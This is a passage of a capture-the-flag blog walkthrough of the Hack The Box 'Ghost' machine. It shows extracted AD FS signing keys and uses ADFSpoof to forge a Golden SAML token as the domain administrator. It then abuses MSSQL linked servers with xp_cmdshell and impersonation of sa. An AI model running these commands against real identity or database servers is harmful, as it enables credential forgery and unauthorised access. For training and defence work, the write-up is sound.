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
[-] Encrypted Token Signing Key End

[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My

## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
 ==================
    Enabled: True
    Sign-In Protocol: SAML 2.0
    Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
    Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
    SamlResponseSignatureType: 1;
    Identifier: https://core.ghost.htb:8443
    Access Policy: &lt;PolicyMetadata xmlns:i=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns=&quot;http://schemas.datacontract.org/2012/04/ADFS&quot;&gt;
  &lt;RequireFreshAuthentication&gt;false&lt;/RequireFreshAuthentication&gt;
  &lt;IssuanceAuthorizationRules&gt;
    &lt;Rule&gt;
      &lt;Conditions&gt;
        &lt;Condition i:type=&quot;AlwaysCondition&quot;&gt;
          &lt;Operator&gt;IsPresent&lt;/Operator&gt;
        &lt;/Condition&gt;
      &lt;/Conditions&gt;
    &lt;/Rule&gt;
  &lt;/IssuanceAuthorizationRules&gt;
&lt;/PolicyMetadata&gt;


    Access Policy Parameter:

    Issuance Rules: @RuleTemplate = &quot;LdapClaims&quot;
@RuleName = &quot;LdapClaims&quot;
c:[Type == &quot;http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname&quot;, Issuer == &quot;AD AUTHORITY&quot;]
 =&gt; issue(store = &quot;Active Directory&quot;, types = (&quot;http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn&quot;, &quot;http://schemas.xmlsoap.org/claims/CommonName&quot;), query = &quot;;userPrincipalName,sAMAccountName;{0}&quot;, param = c.Value);</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>What I need is the private key and the token signing key, both of which needs further reformatting. The token signing key can simply be base64 decoded, but the private key needs to be converted into binary after getting rid of all the dashes.</p>

<p>Note that there’s 2 private keys, but only the second one works.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' |tr -d '-'| xxd -r -p &gt; privkey.bin</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">cat signkey.txt | base64 -d &gt; signkey.bin</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Then I’ll use <a href="https://github.com/mandiant/ADFSpoof">ADFSpoof</a> to forge the SAML response. In addition to the two keys, I’ll also need to provide the following arguments:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">-s</code> — Target domain (<code class="language-plaintext highlighter-rouge">core.ghost.htb</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">--endpoint</code> — Authenticating endpoint (<code class="language-plaintext highlighter-rouge">/adfs/saml/postResponse</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">--nameidformat</code> — Name identifier format in URN form, see <a href="https://docs.identityserver.com/saml2p/config-idp/configuring-nameId/">this page</a>.</li>
  <li><code class="language-plaintext highlighter-rouge">--nameid</code> — Account to impersonate (<code class="language-plaintext highlighter-rouge">GHOST\administrator</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">--rpidentifier</code> — Relying party (<code class="language-plaintext highlighter-rouge">https://core.ghost.htb:8443</code>)</li>
  <li><code class="language-plaintext highlighter-rouge">--assertions</code> — Everything within the <code class="language-plaintext highlighter-rouge">AttributeStatement</code> section of the SAML response seen above, except replacing <code class="language-plaintext highlighter-rouge">justin.bradley</code> with <code class="language-plaintext highlighter-rouge">Administrator</code>.</li>
</ul>

<p>Provide all of these to ADFSpoof, and it’ll generate a SAML response token:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">faketime &quot;$(ntpdate -q ghost.htb | cut -d &#39; &#39; -f 1,2)&quot; python3 ADFSpoof.py -b signkey.bin privkey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid &#39;GHOST\administrator&#39; --rpidentifier https://core.ghost.htb:8443 --assertions &#39;&lt;Attribute Name=&quot;http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn&quot;&gt;&lt;AttributeValue&gt;GHOST\administrator&lt;/AttributeValue&gt;&lt;/Attribute&gt;&lt;Attribute Name=&quot;http://schemas.xmlsoap.org/claims/CommonName&quot;&gt;&lt;AttributeValue&gt;Administrator&lt;/AttributeValue&gt;&lt;/Attribute&gt;&#39;</span>
<span class="cmd-output">
    ___    ____  ___________                   ____
   /   |  / __ \/ ____/ ___/____  ____  ____  / __/
  / /| | / / / / /_   \__ \/ __ \/ __ \/ __ \/ /_  
 / ___ |/ /_/ / __/  ___/ / /_/ / /_/ / /_/ / __/  
/_/  |_/_____/_/    /____/ .___/\____/\____/_/     
                        /_/                        

A tool to for AD FS security tokens
Created by @doughsec

/home/ch3ng/machines/ghost/ADFSpoof.py:96: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.utcnow()
PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2..SNIP..
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Now I’ll redo the authentication to Ghost Core but intercepting the last POST request to <code class="language-plaintext highlighter-rouge">core.ghost.htb:8443/adfs/saml/postResponse</code>. Replacing the POST body with the rogue SAML response just generated would log me in as Administrator.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_golden_saml.png?raw=true" alt="" /></p>

<p>Instead of the unauthorized banner, I now get an MSSQL debug console.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_sql_console.png?raw=true" alt="" /></p>

<p>Unfortunately it’s running as a low-privileged user, and I cannot run <code class="language-plaintext highlighter-rouge">xp_cmdshell</code> or modify its configurations.</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_sql_error.png?raw=true" alt="" /></p>

<h3 id="mssql-linked-servers">MSSQL Linked Servers:</h3>

<p>The debug info at the top suggests that there’s two linked SQL servers located in different domains. This is confirmed with the <code class="language-plaintext highlighter-rouge">sp_linkedservers</code> query:</p>

<p><img src="https://github.com/ch3ng625/blog_images/blob/main/ghost/core_sql_linked.png?raw=true" alt="" /></p>

<p><a href="https://learn.microsoft.com/en-us/sql/relational-databases/linked-servers/linked-servers-database-engine">Linked servers</a> is a MSSQL feature that enables executing queries and retrieving data from multiple systems, which can span across AD forests. The trusted link can often be abused for lateral movement, as shown in <a href="https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/abusing-ad-mssql.html">this HackTricks page</a>. This is especially true if permissions are misconfigured on the remote host.</p>

<p>I tried running <code class="language-plaintext highlighter-rouge">xp_cmdshell</code> on the remote host <code class="language-plaintext highlighter-rouge">PRIMARY</code>, but it’s still blocked:</p>

<p>(Note: this is a CLI console I’ve created in Python for interacting with Ghost Core. The source code can be found <a href="https://github.com/ch3ng625/CTF-scripts/blob/main/HTB/Ghost/mssql.py">here</a>.)</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">python mssql.py</span>
<span class="cmd-output">
[*] Sending SAMLResponse to core.ghost.htb
[+] Authentication successful.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] SQL query: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">exec('exec xp_cmdshell ''whoami''') at [primary]</span>

<span class="custom-output">RequestError: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.</span></pre>
  </div>
</div>

<p>However, inpersonation is allowed, and I can run queries in the context of <code class="language-plaintext highlighter-rouge">sa</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] SQL query: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">execute('execute as login=''sa'';select user_name()') at [primary]</span>

<span class="custom-output">{
    "recordsets": [
        [
            {
                "": "dbo"
            }
        ]
    ],
    "recordset": [
        {
            "": "dbo"
        }
    ],
    "output": {},
    "rowsAffected": [
        1
    ]
}</span></pre>
  </div>
</div>

<p>I tried running <code class="language-plaintext highlighter-rouge">xp_cmdshell</code> again as <code class="language-plaintext highlighter-rouge">sa</code>, it still failed but gave a different error:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
